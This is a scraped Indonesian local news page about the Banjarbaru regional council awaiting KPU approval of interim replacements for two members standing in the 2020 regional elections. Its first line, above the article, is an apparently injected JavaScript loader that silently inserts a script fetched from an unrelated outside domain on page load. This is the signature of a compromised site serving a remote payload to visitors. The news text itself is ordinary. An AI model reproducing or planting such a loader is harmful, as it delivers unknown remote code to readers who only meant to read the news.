(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Dewan Terima Usulan PAW Iwansyah dan Wartono, Pelantikan Tunggu Proses Penetapan KPU


KANALKALIMANTAN.COM, BANJARBARU – DPRD Banjarbaru menanti keputusan KPU untuk menetapkan pergantian antar-waktu (PAW) dua anggota dewan yang maju di Pilkada. Dua orang tersebut yakni AR Iwansyah yang maju sebagai pasangan Gusti Iskandar, dan Wartono yang mendampingi Aditya Mufti Ariffin.

Dalam struktur organisasi DPRD Banjarbaru, Iwansyah sebelumnya memegang jabatan sebagai Wakil Ketua dari Partai Golkar. Sementara Wartono ialah Ketua Fraksi PDI Perjuangan DPRD Banjarbaru.

Sekretaris DPRD Banjarbaru, Aida Yunani, mengungkapkan, ihaknya telah menerima surat penunjukan PAW untuk menggantikan posisi Iwansyah dan Wartono. Hal itu berdasarkan keputusan dari Partai Golkar dan PDIP.

“Dari Golkar sudah menunjuk pengganti Pak Iwansyah. Dari PDI Perjuangan juga demikian. Surat dari kedua parpol sudah masuk dan langsung kita teruskan ke KPU Banjarbaru,” ujarnya, Rabu (14/10/2020).

Sekwan Banjarbaru Aida Yunani

Adapun prosesnya, kata Aida, pihak KPU Banjarbaru akan menggelar rapat pleno untuk menetapkan PAW yang telah ditunjuk masing-masing parpol. Dalam hal ini, KPU Banjarbaru memiliki tempo waktu selama 5 hari untuk menetapkan hingga dikeluarkannya Surat Keputusan (SK) penetapan PAW.

“Kalau SK dari KPU sudah keluar, maka akan kita tindak lanjuti lagi ke Gubernur Kalimantan Selatan. Dari situ barulah kita bisa melantik PAW,” terang Sekwan DPRD Banjarbarum

Berdasarkan usulan yang diterima sekretariat DPRD Banjarbaru, sosok PAW pengganti AR Iwansyah yakni Gusti Rizky Sukma Iskandar Putera yang merupakan kader muda dari Partai Golkar. Lalu, untuk PAW yang menggantikan Wartono, partai berlambang kepala banteng mengusulkan H. Ronaulli, SE.

Aida menjelaskan bahwa pelantikan Rizky dan Ronaulli sebagai PAW di DPRD Banjarbaru, memiliki tengat waktu. Berdasarkan aturan, kedua harus dilantik satu bulan sebelum puncak pesta demokrasi Pilkada 2020 yang jatuh pada 9 Desember nanti.

“Kalau menurut aturan, PAW dilantik 1 bulan sebelum pelaksanaan Pilkada. Nah, pencoblosan kan tanggal 9 Desember, artinya batas terakhir pelantikan PAW adalah tanggal 9 November. Insya Allah, sempat saja,” lugas Aida. (Kanalkalimantan.com/rico)

Reporter: Rico
Editor: Cell


Desy Arfianty

Recent Posts

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

3 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

4 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

6 jam ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

6 jam ago

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

19 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

21 jam ago

This website uses cookies.